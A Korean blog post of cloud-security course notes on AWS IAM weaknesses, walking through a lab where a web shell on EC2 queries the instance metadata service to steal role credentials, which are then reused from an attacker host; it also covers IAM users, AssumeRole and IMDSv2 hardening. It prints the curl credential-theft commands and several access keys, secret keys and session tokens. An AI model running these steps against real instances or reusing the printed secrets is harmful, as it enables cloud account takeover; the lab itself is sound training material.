AHSS - 2주차 IAM 취약점 및 보안
- -
IAM 취약점 및 보안
공격의 시작은 계정 탈취!
Git Hub에 IAM 자격증명 Key를 GitHub에 업로드하여 해커의 Scan으로 계정 탈취 된 경우!
우선 CloudFomrmation 을 통해 리소스 배포!
리소스 배포시 유의 사항~!
(IAM 리소스는 아래 체크박스를 체크해야 배포 가능)

EC2 WebShell + IMDS
실습 : WebShell(phpbash)
[WebServer EC2] Public IP로 웹 접속 (WebShell) → EC2 IMDS(Instance Metadata Service)로 정보 획득

공용 IP를 사용하여 웹 브라우저를 통해 접근한 Web server
아래와 같은 정보를 통해서 aws ec2 임을 확인할 수 있다.



기본적으로 EC2의 메타 데이타 정보를 획득하기 위한 라우팅 Path (공통 주소)
169.254.169.254 dev eth0

이를 바탕으로 메타 데이타 서비스를 통해서 EC2 인스턴스의 Private IP, Public IP를 확인할 수 있다.
# 메타 데이터를 통해 확인한 EC2의 IP
ip route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo
apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
10.0.0.10
apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo
13.125.98.146
메타 데이터를 통해 AccessKey,SecretAccessKey,Token 정보를 확인할 수 있다.
> 이를 통해 EC2를 탈취 할 수 있다!
# IMDS 정보 확인 : 메타 데이타를 통해 확인한 IAM Role 출력값
curl -s http://169.254.169.254/latest/meta-data/iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-08T06:36:28Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAUQ26LCV23O4XD4WB",
"SecretAccessKey" : "7I2C3LzoHWiVk2dzX4Xy87jor39hwp7TCh8ZE1ZQ",
"Token" : "IQoJb3JpZ2luX2VjEMf//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgZUNa4DbkzNM85MhHrLmda7jYJO1yGEyvteNiXrXWVcUCIC5xokrNuubVwJo/J8cJUhx5Yc+ZjMWIkWs0stMV8gGqKtEFCKD//////////wEQARoMMzExMDQ2MTE2NzI1Igz4mLzmHlQGsFvf/pEqpQXibqWl9wmJHlTWwtdXqaNOme0fku+VN+ToCWxpxxj5S26vfJw489bXr1jX97D8RG2t/5chr4dwvIozecgpTAZyeEJFC9gk3iPRnxIMoWC4HvN15nL3Yuhc0vb/DAQ69ZhL+uPEHawSWMuoBgDYI7FaVAp1ZgrQ/gSME8pX9MeivP3uhUK8WYFawwAkJJj9O9BzFW9w/7qZBSUHBdFDmQRaVUmpWP6ulig1gGwb+0pKf+2TylxPyaidIc0G0d0pdCVhNQOxvPVj51jINFSdRz95cTr4trYQRyijDZ9maGDWyL15yN4/K4OO1PxMxpslEaiQ24uJOqIHI2MU46AXmqfkahlJV9CQlw0CDIpjoG9l7NHa5ZEF6h8N30plpxgwRR+LfJI/vYn4MVmCBtfjeWeyGFrLZlSB0oeLvh+Clzn9jgxqvwqAw7TbsvTunAiyOWqA4jxTfi1fHrpyo8AkbURsL5ISA+8yldy5+Q3UOtkw1emXMcs4v81E7spqikAxtFsV6bII2p1FnH5GaZYAfFlpG3/yt+RSl4voTlulcLzZ6V35umieBQjzAxOVCun/Qth3lEnJuk0zivi6Ezpvv20e/iu+5/2R2MGR9cHn9ai6tGQPRp5Uke/46H/cc57eIhJ9TpHqo5uKbbkn+8vm+PiZLjcmfBFge+xAC+VB48XjQP4pneBd7FZG7CNhMChK/+uDf6rDJ2RL4v4E29pnTs/eweKnvWZrQwBiezz9hs1WHVwsQuprJEiTHHoborNGhY+o5wEp5QCh8ewWWZznE4dRUB6pkiJBAyDrpt/n645boz3FNvq5yogzisoP65VV3mOlDPGcqIZay+crhDiiGWs6ZXXgUW+4M16GcSrAPhSd08IsHyVwgjE2MM+1M34mOiSxu/6bEDCxgeunBjqyAX0qgrz82/qSGKTZsw4oy73v1S3QJyO3q3hUm8T7psh8fOhO9Ri9dsWXiU4bPZI9oAdtJSlVoKGO6J+sv/ogguUp2OP2ylE5rtka+/R4rVfVRzbNeQpNyONNLjG9gtqUJy2PQ/WZ/LTA6rrczAwHGG+wSzDj2NTjoMrQpT5ZCRW1xzVz/SWJg+9U10412hB6eVypXFVdMZ2tWh9T8JWg9XMihAZAPcF/yv4kum/V3Occ9jY=",
"Expiration" : "2023-09-08T12:55:49Z"
}
(참고) [WebServer EC2] SSH 접속 후 확인
웹 엑세스 로그 실시간 확인
tail -f /var/log/httpd/access_log

[Attacker EC2] Public IP SSH 접속 후 탈취한 자격 증명 사용
# 자격 증명 없이 사용 (attacker ec2에서)
aws s3 ls
위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
[root@Attacker ~]# export AWS_ACCESS_KEY_ID="ASIAUQ26LCV2U43TWRU4"
[root@Attacker ~]# export AWS_SECRET_ACCESS_KEY="SfKm1mrB9rGQGC66WRnLnm22Gw4G1tdZt4W6n2dk"
[root@Attacker ~]# export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEO7//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgVo0HIgaY/uATrlHq/DoQ/aK8mzI5iPlj9u30g+aMU14CIFzTeKrlSl0jYn5utrcPogWCDnpQdMCjSs22spJubAR8KtEFCMf//////////wEQARoMMzExMDQ2MTE2NzI1Igy40ISuk9ATjECwM8QqpQX8EQmco1sjbpWWm9Ge+B1dVfA5m+5mWDlmaYgq6G/qpAMQtzVuXKsfTb+oU7jn97UWuxF/LAzJnM73DLME9COhweisp1CO9Xmic6dUpfCk9jSjj3C1QuGJZ0fvg9j13a5SxZhwbV2cXGGBOMFkO+tmDgf6HM+XtkIQU2Jx/znwZ0WUWaiXhXD1AxMm5eEmLvkPMHjyOeQ0GxTk4CHoyjcaQrjuYWQWUhOAEsQs+D6/dnkJK1SmgT26UJI8xf++jrEMCdBn87GYrgxO4bSEQFkkr5aQMad5MhFby4mxcAyJ6XtIdPQXnd+uMCW3jHI6Zl2Lr/zblRDfyYtxIAYWRj8Mn4/659wy21t5EVHlFQO82CxydMSFT9/66C6eGtJvku3Kw/ccfFrlzy9JaxWu+fUHa64LSysp9V7+whbY6ZS0EKrjiWDmj7eHP8FUD7ZfD5AYxW9ex2AFd92kJTLh91aiPgNUazQfjnOgVkSznc3bcClbie26OZrOQ19RTnwSVvw0wW2C8FyFhHRx4I1T2oIjC07V1USqx6Qx/0M8RKFqjXOFuytEvUdJrRiMYFDdeP5Jnx9dh4a4degFNMqiXFmpiM8jHkor9GPX/ZVWQVTcncFfF8yD7DpHNrzSJMtJbMpwAH2wI/lPjrMop/x22WL7m27it4FNVqA3UkB4FXPeccURvS0MW+yCoecHNv5OP1hwLKl+NKRW4z/dxAm2U07jFRrRBibiNc0ic62lruJd2wqyATgkcCuB5BuJSTinOoMSSMI6tXFTKR8EiYH43CkAzCM7AG4nY0+04mu0dRzU9uiyjKFAvv2RzXrm+LT8nCcSiGu/aDec1vmgUODjRpw7/UcOAyVuKbmQtC9HDoFQBQCf7di/i1QPL7JMczChr3g60Y66fDDn2/OnBjqyAfIamkbqVFZ6N3zUQKaKHWUNQo96DBvenEITgT067mOlr16N+laGBh3tH3KBoi34aWGEa7r3mtnKE/pNWJ5oeDqeQF1rADnWE9fpzDOK957p0IsorL3lHC2jLx6O3EFCk4t8kdwJDxu97eK

caller id 확인 : UserId: 인스턴스ID

위에 인스턴스 ID정보를 이용해 보자!
AWS CloudTrail 에서 ‘사용자 이름’에 위 인스턴스ID 값 넣고 필터링 확인
→ 각 이벤트 클릭하여 상세 정보 확인

이벤트 이름 ‘AssumeRole’ 로 필터링 확인
→ 각 이벤트 클릭하여 상세 정보 확인

[AWS 관리콘솔] 확인 : IAM 역할 정보 확인, EC2 정보 확인(IAM 역할, 인스턴스 메타데이터 옵션 확인)


aws configure로 입력하는 것은 장기 키! ( 오래도록 유지되는 키! )
Iam을 통해 사용하는 키는 임시 키! ( 일정 기간동안 사용 가능한 키! )


기본적으로 활성화 되어있는 인스턴스 메타데이터 서비스!
메타데이터를 사용하지 않는가면 해당 기능은 반드시 꺼두자!
-> IMDSv2를 통해 토큰을 발급받아 사용 가능!
IAM User 기본 실습
관리자 수준의 자격증명이 되어있는 환경에서 실행! [CloudShell]도 가능!
# aws cli 설치 및 버전 확인
aws --version
# caller id 확인
aws sts get-caller-identity
# 자신의 AWS 계정 ID 변수 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
echo $ACCOUNT_ID

IAM User 생성 및 정책 연동
user1,2 사용자 생성
aws iam create-user --user-name user1
aws iam create-user --user-name user2

user 1,2 사용자의 AWS Web Console 로그인 profile 생성
cat <<EOF > create-login-profile-user1.json
{
"UserName": "user1",
"Password": "Ahss\$1234",
"PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json

iam 사용자 리스트 확인
aws iam list-users | jq

사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name user1
{
"AccessKey": {
"UserName": "user1",
"AccessKeyId": "AKIA5ILF2FJITUNS2S5S",
"Status": "Active",
"SecretAccessKey": "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",
"CreateDate": "2023-09-03T06:21:17+00:00"
}
}

사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2
[AWS 관리콘솔] IAM 에서 User 정보 확인 : 관리콘솔 접속 URL 확인


크롬 확장 프로그램 MultiLogin 설치 후 클릭하면 신규 창에서 aws 관리콘솔 로그인 실습 진행
-> 같은 브라우저에서 콘솔 로그인 링크를 통해 로그인하면 기존 로그인 되어있는 계정이 로그아웃 된다!
MultiLogin 확장프로그램을 통해 멀티 로그인을 할 수 있다!
- Chrome MultiLogin 확장프로그램 설치 - 링크
[Attacker EC2] AWS CLI에서 자격증명 설정
# 시도
aws s3 ls
# user1,2 자격증명 profile 생성
aws configure --profile user1
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]: ap-northeast-2
Default output format [None]:
# 자격 증명 정보 저장되는 파일 확인
cat ~/.aws/credentials

caller id 확인
aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq

자격증명 profile Configuration 사용 방법 확인!
# 자격증명 사용 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq
# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=yeongil
aws s3 mb s3://ahss-2w-$NICKNAME --region ap-northeast-2 --profile user1
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2
# S3 버킷 조회
aws s3 ls --profile user2
IAM 임시자격증명 요청 및 사용
user2 사용자에 인라인 정책을 추가 : STS 서비스의 AssumeRole Action 허용
cat <<EOF > allow-assume-role.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allowassumerole",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "*"
}
]
}
EOF
cat allow-assume-role.json | jq
aws iam put-user-policy --user-name user2 --policy-name allow-assume-role --policy-document file://allow-assume-role.json
AmazonS3FullAccess 권한을 가진 IAM Role 생성
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
cat <<EOF > MyAccount-AssumeRole.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$ACCOUNT_ID"
},
"Condition": {}
}
]
}
EOF
cat MyAccount-AssumeRole.json | jq
aws iam create-role --role-name assume-role-s3full --assume-role-policy-document file://MyAccount-AssumeRole.json --max-session-duration 7200

assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용
aws iam attach-role-policy --role-name assume-role-s3full --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
IAM user2, iam role 정보 확인

[Attacker EC2] AssumeRole 을 통해 임시자격증명 요청 및 임시자격증명 실행 및 S3 접속 시도
AssumeRole 을 통해 임시자격증명 발급
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
#aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name <각자 편한이름 지정> --query "Credentials.[AccessKeyId,SecretAccessKey,SessionToken]" --output text
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name MyS3accessSession --profile user2

위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIAUQ26LCV26PX3EOPL"
export AWS_SECRET_ACCESS_KEY="hQt/UkTC+0XNJ1QraH4r6+SadhLGBaqt42Q0McVE"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEPD//////////wEaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAPqC0UJH8mbxPyl49MP/U8saICoZ1xqFCjCRnNouklRCAiAEP3Qta7pt5ge346WkHzkTOGb1G0shzp1BOOTbJHhqUiqnAgjJ//////////8BEAEaDDMxMTA0NjExNjcyNSIMkbQm+OKEtMZ9zchjKvsBFf4519elfczfg3+mpAl7vipbTfjYmw7BMy8hgbELVzwRaNIh/cfV726t/F560JtJ8Eo7rWF0rskSvDz72+L8R8+PW77j3t79ejzvs6Bk5eS8Jl6iREv7sfJvSWFJa+YyG5UTJdbbjhVj7pvS0EI3Ne4KwpjJLkCT5h+I6/uRgs8R3jXw89j8Vc9fb4rKQ4Ratz315uCrfUUtbiz9vd3LUmWD478XtABOrBSDhY4eKWBla6opnCgU0SpAMDvkiavBh7WLFDwdmMd6v+3mtEkDTAzLPbvAfaXSdf/knRjfLyqHgE9zdLaPbko+lyL3j+JpuMkri3EKsQrIyVEw4ZP0pwY6nQFAc4ISvMGICF8q3Bx3lUh1fC8QbEvTzc4mTW6DKUFVC6+x9QwHAps0F2rOC1rJMP0keIOyTbVjawzipBESk6xhsSgSRhjdE8pmtvisn056kgkPvDII9JCW+n6R89EeRX3zQ/Gbq8Viwn2UkZi5LUzGIhIiq6TXcXW7meNfJR6OexXYqwVK84ziMe5C6UpVTv5oyuRyNIZQj6js7BLi"
caller id 확인
aws sts get-caller-identity | jq

S3 버킷 생성 > 버킷 조회
NICKNAME=<각자 자신의 닉네임>
NICKNAME=yeongil
#aws s3 mb s3://***버킷***(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2
aws s3 ls

(참고) 임시자격증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
IAM Role 에서 ‘콘솔에서 역할 전환 링크’ 메모

[user2] 웹 세션 → 위 링크 복붙으로 역할 전환

역할 전환 성공 후 S3 버킷 생성! → 실습 완료 후 버킷 삭제 ⇒ 다시 전환으로 user2로 원복

실습 완료 후 사용한 리소스는 반드시 삭제하자!
실습 환경 삭제
- AWS CloudFormation Stack 삭제
- IAM User 삭제 : user1, user2
- IAM Role 삭제 : assume-role-s3full
'Study > AHSS' 카테고리의 다른 글
| AHSS 1주차 - S3 취약점 및 보안 (0) | 2023.09.03 |
|---|
소중한 공감 감사합니다